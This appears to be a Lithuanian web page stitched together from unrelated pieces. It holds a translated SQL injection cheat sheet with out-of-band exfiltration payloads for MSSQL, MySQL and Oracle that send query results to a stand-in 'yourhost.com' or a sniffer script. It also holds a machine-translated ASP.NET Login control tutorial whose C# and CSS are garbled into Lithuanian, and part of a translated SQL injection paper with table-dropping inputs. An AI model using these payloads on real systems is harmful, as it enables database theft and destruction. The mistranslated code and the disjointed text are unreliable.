?vulnerableParam=1; DEKLARUOTI @q varchar(1024); NUSTATYTI @q = "\\"+((INJEKCIJA))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree@q
sukuria DNS užklausą į (INJECTION).yourhost.com

(INJEKCIJA) yra jūsų prašymas.
MySQL:
?vulnerableParam=-99 ARBA (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
Sukuria NBNS/DNS užklausą yourhost.com
?vulnerableParam=-99 ARBA (PASIRINKITE ((INJECTION)) Į OUTFILE "\\\\yourhost.com\\share\\output.txt")
Įrašo duomenis į jūsų failą
(INJEKCIJA) yra jūsų prašymas.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") IŠ DUAL)
Sniferis išsaugos rezultatus
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FROM DUAL)
Rezultatai bus išsaugoti HTTP žurnaluose
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") IŠ DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||'.yourhost.com',80) FROM DUAL)
Turite analizuoti DNS užklausų srautą į yourhost.com
(INJEKCIJA) yra jūsų prašymas.

Ši medžiaga yra adaptyvus SQL įpurškimo cheat Sheet straipsnio vertimas.

Prisijungimo valdymas

Prisijungimo valdiklis leidžia lengvai sukurti formos autentifikavimo prisijungimo puslapį kartu su Narystės API. Jame yra paruošta naudoti vartotojo sąsaja, kuri ragina įvesti vartotojo vardą ir slaptažodį, taip pat yra mygtukas, skirtas vartotojui prisijungti. Užkulisiuose jis apima funkcijas, kurios buvo aprašytos ankstesniame straipsnyje: naudotojo tapatybės patvirtinimas per Narystės API ir pagrindinių formų autentifikavimo funkcijų įtraukimas, pvz., peradresavimas į iš pradžių prašomą puslapį saugioje programos srityje po sėkmingo prisijungimo.

Tai reiškia, kad prisijungimas apima tokius dalykus kaip Membership.ValidateUser() arba FormsAuthentication.RedirectFromLoginPage(), todėl jums nereikės šio kodo rašyti patiems. Žemiau esančiame paveikslėlyje parodytas prisijungimo valdiklis:

Kaskart vartotojui spustelėjus mygtuką Prisijungti, valdiklis automatiškai patvirtina vartotojo vardą ir slaptažodį naudodamas funkciją Membership.ValidateUser() ir, jei patvirtinimas sėkmingas, iškviečia FormsAuthenication.RedirectFromLoginPage(). Visos prisijungimo valdiklio parinktys turi įtakos įvestis, kurią jis pateikia šiems metodams. Pavyzdžiui, jei pažymėsite žymimąjį laukelį Prisiminti mane kitą kartą, jis bus teisingas metodo RedirectFromLoginPage() parametre createPersistentCookie. Todėl FormsAuthenticationModule sukuria nuolatinį slapuką.

„Behind the Scenes“ prisijungimas yra ASP.NET sudėtinis valdiklis. Jis yra visiškai išplečiamas ta prasme, kad leidžia nepaisyti bet kokių išdėstymo stilių ir savybių, taip pat užfiksuoti sugeneruotus įvykius, kad nepaisytų numatytosios elgsenos. Jei paliksite valdiklį tokį, koks jis yra, ir nepastebėsite jokių įvykių, jis automatiškai naudos programai sukonfigūruotą narystės teikėją.

Paprasčiausia prisijungimo valdiklio forma puslapyje atrodo taip:

Pateikiamos kelios ypatybės, skirtos pakeisti prisijungimo valdiklio išvaizdą. Galite taikyti skirtingus stiliaus nustatymus, kaip parodyta toliau:

Taip pat galite naudoti CSS klases, kad tinkintumėte prisijungimo išvaizdą. Kiekviena stiliaus ypatybė, kurią palaiko prisijungimo valdiklis, apima CssClass ypatybę. Kaip ir bet kuris kitas ASP.NET valdiklis, ši ypatybė leidžia nurodyti CSS klasės, kuri anksčiau buvo įtraukta į svetainę, pavadinimą. Tarkime, kad prie projekto pridėtas šis CSS stiliaus lapas failo pavadinimu MyStyles.css:

MyLoginTextBoxStyle (žymeklis: žymeklis; fono spalva: geltona; teksto lygiavimas: centre; užpildymas: 6 pikseliai; kraštinė: taškuotas juodas; šriftų šeima: Verdana; vertikalus lygiavimas: vidurys; ) .Prisijungti (rodymas: inline-block; ) .Title (padding: 6px;)

Šis stiliaus failas gali būti įtrauktas į prisijungimo puslapį, kad būtų galima nustatyti prisijungimo elemento stilių:

Šioje lentelėje pateikiami prisijungimo valdiklio palaikomi stiliai. Kiekvienas stilius veikia taip pat. Šrifto ir spalvų ypatybes galima nustatyti tiesiogiai arba galite naudoti ypatybę CssClass, kad nurodytumėte norimą CSS klasę:

Prisijungimo valdiklio palaikomi stiliai
Stilius apibūdinimas
CheckBoxStyle

Apibrėžia žymės langelio Prisiminti mane kitą kartą stiliaus ypatybes

FailureStyle

Nurodomas teksto, kuris bus rodomas, kai nepavyksta prisijungti, stilius.

HyperLinkStyle

Prisijungimo valdiklis leidžia apibrėžti kelių tipų hipersaitus, pvz., į pradinį registracijos puslapį. Šis stilius apibrėžia tokių hipersaitų išvaizdą.

InstructionTextStyle

Prisijungimo valdiklis leidžia nurodyti pagalbos tekstą, kuris rodomas tiesiogiai jame. Šis stilius apibrėžia šio teksto išvaizdą.

LabelStyle

Apibrėžia etikečių Vartotojo vardas (Vartotojo vardas) ir Slaptažodis (Slaptažodis) stilių.

LoginButtonStyle

Nurodo prisijungimo mygtuko stilių

TextBoxStyle

Nurodo vartotojo vardo ir slaptažodžio teksto laukų stilių

TitleTextStyle

Nurodo prisijungimo valdiklio antraštės teksto stilių

ValidatorTextStyle

Apibrėžia valdiklių, naudojamų vartotojo vardui ir slaptažodžiui patvirtinti, stilius

Prisijungimo elemento vartotojo sąsaja yra ne tik tinkinama naudojant šiuos stilius; kitos papildomos ypatybės skirtos konkrečioms valdiklio turinio dalims, pvz., mygtukui Prisijungti, kurios taip pat leidžia tinkinti GUI.

Pavyzdžiui, galite pasirinkti tekstą, kuris bus rodomas prisijungimo mygtuke, arba net rodyti hipersaitą vietoj šio mygtuko (kaip nustatyta pagal numatytuosius nustatymus). Be to, prie prisijungimo valdiklio galite pridėti kelis hipersaitus, pvz., nuorodą į pagalbos puslapį arba registracijos puslapį. Abu puslapiai turi būti atidaryti anonimiškai prieigai, nes pagalba taip pat turi būti pasiūlyta anoniminiams vartotojams (atminkite, kad jei kas nors mato prisijungimo valdiklį, jis gali būti anoniminis vartotojas). Norėdami įtraukti papildomų nuorodų į prisijungimą, pakeiskite anksčiau pateiktą apibrėžimą taip:

...

Dėl šio kodo bus rodomos dvi papildomos nuorodos, viena į pagalbos puslapį ir viena į pradinį registracijos puslapį, o po prisijungimo elemento antrašte pridedamas trumpas instrukcijos tekstas:

Anksčiau aprašyti stiliai taip pat taikomi šioms savybėms. Šioje lentelėje aprašomos svarbios prisijungimo valdiklio tinkinimo ypatybės:

Svarbios prisijungimo valdiklio tinkinimo savybės
Nuosavybė apibūdinimas
Pranešimo tekstas
Pavadinimo tekstas

Valdiklio pavadinime rodomas tekstas

instrukcijos tekstas

Ši nuosavybė jau buvo panaudota ankstesniame kodo fragmente. Yra tekstas, rodomas po valdiklio pavadinimu

FailureText

Tekstas, rodomas prisijungimo valdikliu, jei nepavyksta prisijungti

UserNameLabelText

Tekstas rodomas kaip etiketė prieš vartotojo vardo teksto lauką

PasswordLabelText

Tekstas rodomas kaip etiketė prieš vartotojo slaptažodžio teksto lauką

Vartotojo vardas

Pradinė reikšmė, užpildanti naudotojo vardo teksto lauką

UsernameRequiredErrorMessage

Jei vartotojas neįvedė vardo, rodomas klaidos pranešimas

PasswordRequiredErrorMessage

Jei vartotojas neįvedė slaptažodžio, rodomas klaidos pranešimas

Prisijungimo mygtukas
LoginButtonText

Tekstas rodomas prisijungimo mygtuke

LoginButtonType
LoginButtonImageUrl

Jei prisijungimo mygtukas pateikiamas kaip grafinis vaizdas, turite nurodyti URL, kuriame yra šis vaizdas

Prisijungimo puslapis
DestinationPageUrl

Jei bandymas prisijungti buvo sėkmingas, prisijungimo valdiklis nukreipia vartotoją į šį puslapį. Pagal numatytuosius nustatymus ši nuosavybė tuščia. Jei tuščia, naudoja formų autentifikavimo sistemą, kad nukreiptų į pradinį prašomą puslapį arba į numatytąjį URL, sukonfigūruotą Web.config formų autentifikavimui

FailureAction

Nurodo veiksmą, kurį valdiklis atlieka po nepavykusio bandymo prisijungti. Dvi galiojančios parinktys yra Refresh ir RedirectToLoginPage. Dėl pirmosios vertės atnaujinamas tik dabartinis puslapis, o antroji vertė nukreipia į sukonfigūruotą prisijungimo puslapį. Antroji parinktis yra naudinga, jei prisijungimo valdiklis naudojamas kitur, o ne prisijungimo puslapyje

MatomaPrisijungus

Jei nustatyta kaip false, valdiklis automatiškai pasislepia, jei vartotojas jau yra prisijungęs. Jei nustatyta į „true“ (numatytasis), elementas „Prisijungti“ rodomas net tada, kai vartotojas yra prisijungęs.

Žymos „Prisiminti mane“ tinkinimas
DisplayRememberMe

Leidžia rodyti arba slėpti žymės langelį Prisiminti mane kitą kartą. Pagal numatytuosius nustatymus ši ypatybė nustatyta į „true“.

RememberMeSet

Nurodo numatytąją žymės langelio Prisiminti mane kitą kartą reikšmę. Pagal numatytuosius nustatymus ši savybė nustatyta į false, t.y. žymimasis laukelis nepažymėtas

Registracijos puslapis
CreateUserUrl

Apibrėžia hipersaitą į tinklalapio puslapį, leidžiantį sukurti (užregistruoti) vartotoją. Taigi tai dažniausiai naudojama norint leisti vartotojui pasiekti pradinį registracijos puslapį. Paprastai rodomas valdiklis CreateUserWizard.

CreateUserText
CreateUserIconUrl

Grafikos URL, kuris turi būti rodomas su hipersaito tekstu CreateUserUrl

Pagalbos puslapis
HelpPageUrl

URL, nukreipiantis vartotoją į pagalbos puslapį

HelpPageText
HelpPageIconUrl

Piktogramos, rodomos kartu su HelpPageUrl hipersaito tekstu, URL

Slaptažodžio atkūrimo puslapis
PasswordRecoveryUrl

URL, nukreipiantis vartotoją į slaptažodžio atkūrimo puslapį. Šis puslapis naudojamas, kai vartotojas pamiršo slaptažodį. Paprastai rodomas „PasswordRecovery“ valdiklis

PasswordRecoveryText
PasswordRecoveryIconUrl

Piktogramos, rodomos kartu su hipersaito tekstu PasswordRecoveryUrl, URL

Šablonai ir prisijungimo valdiklis

Kaip matote, dėl visų šių savybių prisijungimo valdiklį galima lengvai pritaikyti. Tačiau, kaip tikriausiai pastebėjote, neįmanoma apibrėžti išraiškos, kad būtų patvirtinta įvestis. Žinoma, galite įdiegti serverio patvirtinimą įvykių procedūrose, kurias siūlo prisijungimo valdiklis. Jei norite pridėti kai kurių elementų prie sudėtinio prisijungimo valdiklio, negalite to padaryti naudodami aukščiau pateiktas ypatybes. Pavyzdžiui, ką daryti, jei jums reikia antro teksto lauko, kad būtų galima tvirtai autentifikuoti su antruoju slaptažodžiu arba pasirinktiniu prieigos raktu, kaip tai daroma kai kuriose vyriausybės svetainėse?

Laimei, kaip ir kiti valdikliai, tokie kaip „GridView“, prisijungimo valdiklis palaiko šablonus. Naudodami šablonus galite tinkinti prisijungimo valdiklio turinį be jokių apribojimų. Prie jo galite pridėti bet kokių naujų valdiklių. Taiko pasirinktinį šabloną prisijungimo valdikliui naudodami rankenėlę Išdėstymo šablonas:

Prisijungti

Vartotojo vardas:
Slaptažodis:


Žvelgiant į aukščiau pateiktą kodą, kyla vienas klausimas: jei nustatydami šabloną turite parašyti tiek daug vartotojo sąsajos kodo (arba suprojektuoti jį vaizdo dizaineriu), kodėl gi neparašius savo prisijungimo puslapio, nenaudojant prisijungimo valdiklio?

Tai yra teisingas klausimas. Tačiau, kaip paaiškinta anksčiau, sąsajos dalis yra tik viena prisijungimo elemento dalis. Pavyzdžiui, jei vartotojas spustelėja prisijungimo mygtuką, prisijungimo valdiklis jau turi visą reikiamą kodą, kad automatiškai patvirtintų vartotoją narystės parduotuvėje ir nukreiptų vartotoją į pradinį puslapį, kurio paprašė per formų autentifikavimo sistemą. Taigi jūs tikrai apsileidote nuo vargo rašydami šį kodą.

Naudojant tinkamus valdiklius ir tinkamas šių valdiklių ID vertes, jums nereikės rašyti jokio įvykio tvarkymo kodo. Kodas veikia įprastu būdu, išskyrus tai, kad jūs apibrėžiate valdiklių rinkinį ir jų išdėstymą. Tiesą sakant, prisijungimo valdikliui reikia bent dviejų teksto laukų su ID Vartotojo vardas ir Slaptažodis. Jei šių dviejų teksto laukų trūksta (arba jų ID reikšmės skiriasi), prisijungimas padarys išimtį. Visi kiti valdikliai yra neprivalomi, bet jei nurodysite atitinkamą ID reikšmę (pvz., Prisijungimo mygtukas), tada Prisijungimas automatiškai tvarkys jų įvykius ir elgsis taip, kaip elgsis, kai bus pritaikytas numatytasis išdėstymas.

Žemiau esančioje lentelėje pateikiamos specialiųjų identifikatorių reikšmės, joms reikalingi elementų tipai ir privaloma vėliavėlė:

Prisijungimo valdiklis gali būti bet koks valdiklis, kuris palaiko įvykių burbuliavimą ir CommandName ypatybę. Svarbu šio elemento ypatybę CommandName nustatyti į Login, nes kitu atveju prisijungimo valdiklis neatpažins jo tvarkydamas įvykius. Jei nepridėsite valdiklio su CommandName ypatybe, nustatyta kaip Prisijungimas, turėsite patys tvarkyti įvykius ir parašyti atitinkamą kodą, kad patvirtintumėte vartotojo vardą ir slaptažodį bei nukreiptumėte į pradinį prašomą puslapį.

Taip pat galite pridėti valdiklių su kitais ID, kurie visiškai nesusiję su prisijungimu. Aukščiau pateiktame kode naudotojo vardo ir slaptažodžio laukams patvirtinti buvo naudojami elementai RequiredFieldValidator ir RegularExpressionValidator.

Naudojant LayoutTemplate, daugelis valdikliui būdingų ypatybių tampa nepasiekiamos. Kai taikomas šablonas, galimos tik šios ypatybės:

    DestinationPageUrl

    MatomaPrisijungus

  • Narystės teikėjas

Visos stiliaus ypatybės ir kelios numatytosios elementų teksto turinio tinkinimo ypatybės nebepasiekiamos „Visual Studio“ ypatybių rengyklėje, nes jas galima rankiniu būdu pridėti kaip atskirus valdiklius arba statinį tekstą prie prisijungimo elemento šablono. Jei pridėsite juos prie elemento Prisijungimas šablono režimu, jie tiesiog bus ignoruojami, nes šablonas nepaisys numatytosios prisijungimo elemento sąsajos, kuri naudoja šias ypatybes.

Prisijungimo valdymo programavimas

Prisijungimo valdiklis palaiko kelis įvykius ir ypatybes, kurias galite naudoti norėdami tinkinti jo elgesį. Jie suteikia visišką prisijungimo valdiklio koregavimo valdymą (kartu su kitais tinkinimo įrankiais, pvz., šablonais ir stiliaus ypatybėmis). Prisijungimo valdiklis palaiko toliau pateiktoje lentelėje išvardytus įvykius:

Prisijungimo valdymo įvykiai
Renginys apibūdinimas
Prisijungiama

Suaktyvinama prieš pat valdikliui patvirtinant naudotojo tapatybę

Prisijungęs

Suaktyvinama po to, kai valdiklis patvirtina naudotojo tapatybę

Prisijungimo klaida

Suaktyvinama, kai naudotojo bandymas prisijungti nepavyksta dėl kokios nors priežasties (pvz., neteisingas slaptažodis arba vartotojo vardas)

Autentifikuoti

Inicijuota vartotojui autentifikuoti. Jei tvarkote šį įvykį, turite patys patvirtinti naudotojo tapatybę, o prisijungimo valdiklis visiškai pasikliaus jūsų autentifikavimo kodu

Pirmieji trys įvykiai gali būti tvarkomi norint atlikti kai kuriuos veiksmus prieš vartotojo autentifikavimą, po autentifikavimo ir jei autentifikavimo metu įvyksta klaida. Pavyzdžiui, įvykis LoginError gali būti naudojamas automatiškai nukreipti vartotoją į slaptažodžio atkūrimo puslapį po tam tikro skaičiaus prisijungimo bandymų, kaip parodyta toliau:

Protected void Page_Load(objekto siuntėjas, EventArgs e) ( if (!this.IsPostBack) ViewState["Prisijungimo klaidos"] = 0; ) protected void Login1_LoginError(objekto siuntėjas, EventArgs e) ( // Jei prisijungimo klaidų būsenos nėra, sukurkite it if (ViewState["LoginErrors"] == null) ViewState["LoginErrors"] = 0; // Padidinkite nesėkmingų prisijungimo bandymų skaitiklį int ErrorCount = (int)ViewState["LoginErrors"] + 1; ViewState["Prisijungimo klaidos" "] = ErrorCount ; // Patikrinkite nesėkmingų bandymų skaičių, jei ((ErrorCount > 3) && (Login1.PasswordRecoveryUrl != string.Empty)) Response.Redirect(Login1.PasswordRecoveryUrl); )

Prisijungimo valdiklis suaktyvina įvykius toliau pateiktame paveikslėlyje parodyta tvarka:

Kaip minėta anksčiau, jei užfiksuojate Autentifikavimo įvykį, turite pridėti savo vartotojo vardą ir slaptažodžio patvirtinimo kodą. Nuosavybė Autentifikuoti palaiko AuthenticateEventArgs parametrų sąrašo egzempliorių. Ši įvykio argumentų klasė palaiko vieną ypatybę, pavadintą Autentifikuota. Jei nustatyta į „true“, prisijungimo valdiklis daro prielaidą, kad autentifikavimas buvo sėkmingas, ir suaktyvina įvykį „Prisijungęs“. Jei nustatysite šią ypatybę į false, bus rodomas FailureText ir įvykis LoginError:

Protected void Login1_Authenticate(objekto siuntėjas, AuthenticateEventArgs e) (if (Narystė.PatvirtintiVartotojas(Prisijungimas1.Vartotojo vardas, Prisijungimo1.Slaptažodis)) (e.Authenticated = true; ) else (e.Authenticated = false; ) )

Kaip matote, yra tiesioginė prieiga prie įvestų reikšmių per vartotojo vardo ir slaptažodžio ypatybes, kuriose yra atitinkamuose teksto laukuose įvestas tekstas. Jei naudojate šablono valdiklius ir norite gauti vertę iš kito elemento, be elementų su ID UserName ir Password, galite naudoti FindControl() metodą, kad gautumėte tą papildomą elementą. Šis metodas paima norimo elemento ID ir grąžina System.Web.UI.Control egzempliorių. Tada gautas objektas tiesiog perduodamas į norimo valdiklio tipą ir nuskaitoma vertė, reikalinga pasirinktiniam vartotojo tapatybės patvirtinimo metodui.

Šis darbas yra Chriso Anley išplėstinio SQL įpurškimo SQL serverio programose dalies vertimas. ()
Vėlesniuose straipsniuose, jei bus laisvo laiko, šis vertimas bus baigtas.

P.S. Vertimas bus labiau įdomus edukaciniais ir istoriniais tikslais.

Originalaus straipsnio pavadinimas: Advanced SQL Injection in SQL Applications.

anotacija

Šiame straipsnyje išsamiai aptariami bendrieji „SQL injekcijos“ metodai, skirti gerai žinomai platformai „Microsoft Internet Information Server“ / „Active Server Pages“ / „SQL Server“. Jame aptariami įvairūs SQL įterpimo panaudojimo būdai programose ir paaiškinami duomenų patvirtinimo būdai bei duomenų bazių, kuriose galima naudoti injekcijas, apsauga.

Įvadas

Struktūrinė užklausų kalba (SQL) yra struktūrinė kalba, naudojama sąveikai su duomenų bazėmis. Yra daug SQL kalbos „tarmių“, tačiau šiandien apskritai jos visos remiasi SQL-92 standartu, vienu iš ankstyvųjų ANSI standartų. Pagrindinis SQL operatyvinis vienetas yra užklausa, kuri yra išraiškų, kurios paprastai grąžina rezultatų rinkinį, rinkinys. SQL išraiškos gali pakeisti duomenų bazių struktūrą (naudojant duomenų apibrėžimo kalbų išraiškas - DLL) ir valdyti jų turinį (naudojant duomenų apdorojimo kalbų išraiškas - DML). Šiame darbe apžvelgsime „Microsoft SQL Server“ naudojamą transact-SQL.

SQL injekcija įmanoma, kai užpuolikas gali įterpti savo SQL kodą į užklausą (užklausą), kad galėtų valdyti duomenis, siunčiamus į programą.

Įprastas SQL sakinys atrodo taip:

Iš autorių pasirinkti id, vardą, pavardę

Ši išraiška paima „id“, „vardą“ ir „pavardę“ iš lentelės „autoriai“ stulpelių ir pateikia visas lentelės eilutes. Pavyzdys gali būti apribotas iki konkrečių „autorių“, pavyzdžiui:

Pasirinkite id, vardą, pavardę iš autorių, kur vardas = "jonas" ir pavardė = "kalvis"

Reikėtų pažymėti, kad šioje užklausoje eilučių literalai yra atskirti viena citata. Daroma prielaida, kad „vardas“ ir „pavardė“ yra duomenys, kuriuos įveda vartotojas. Tokiu atveju užpuolikas galės pateikti savo SQL užklausą, pridėdamas savo reikšmes prie programos. Pavyzdžiui:

Vardas: jo "hn Pavardė: smith

Tada išraiška bus tokia:

Pasirinkite id, vardą, pavardę iš autorių, kur vardas = "jo"hn ir pavardė = "kalvis"

Duomenų bazei pabandžius apdoroti tokią užklausą, bus grąžinta ši klaida:

Serveris: 170 žinutė, 15 lygis, 1 būsena, 1 eilutė 1 eilutė: neteisinga sintaksė šalia "hn".

Klaidos priežastis bus ta, kad įvesta viena kabutė sujauks užklausos skyriklio struktūrą. Taigi duomenų bazė nesėkmingai bandys vykdyti „hn“ komandą, o tai sukels klaidą. Dėl to, jei užpuolikas į formą įveda šią informaciją:

Vardas: jo"; lentelės autoriai - Pavardė:

Lentelė „Autoriai“ bus ištrinta, kodėl taip atsitinka, pamatysime vėliau.

Galbūt manote, kad jei pašalinsime pavienes kabutes iš įvesties formos ir jas „pakeisime“, tai gali išspręsti mūsų problemą. Ir jūs būsite teisūs, tačiau naudojant šį metodą kaip šios problemos sprendimą kyla tam tikrų problemų. Pirma, ne visa vartotojo įvestis yra „stygos“. Jei vartotojo formoje bus autoriaus „id“, kuris paprastai yra skaičius. Pavyzdžiui, mūsų užklausa gali atrodyti taip:

Pasirinkite id, vardą, pavardę iš autorių, kur id=1234

Tokiu atveju krekeris gali laisvai pridėti bet kurią SQL išraišką po skaitmeninių duomenų. Kitose SQL užklausų rūšyse naudojami skirtingi skyrikliai. Pavyzdžiui, „Microsoft Jet DBMS“ skyriklis būtų „#“. Antra, „pabėgimas“ nuo pavienių kabučių nėra pats lengviausias būdas apsisaugoti, kaip gali pasirodyti iš pradžių. Daugiau apie tai pakalbėsime vėliau.

Štai pavyzdys, pagrįstas aktyvaus serverio puslapiais (ASP) pagrįstu prisijungimo puslapiu, kuris naudoja SQL, kad pasiektų duomenų bazę, kad įgaliotų vartotoją programoje.

Čia yra puslapio, kuriame yra prisijungimo forma, kodas, kuriame įvedamas vartotojo vardas ir slaptažodis.

Prisijungimo puslapis

Prisijungti

Vartotojo vardas:
Slaptažodis:

Žemiau yra kodas (process_login.asp), kuris nustato įvestų duomenų teisingumą.

Nauja vietoje

>

Populiariausias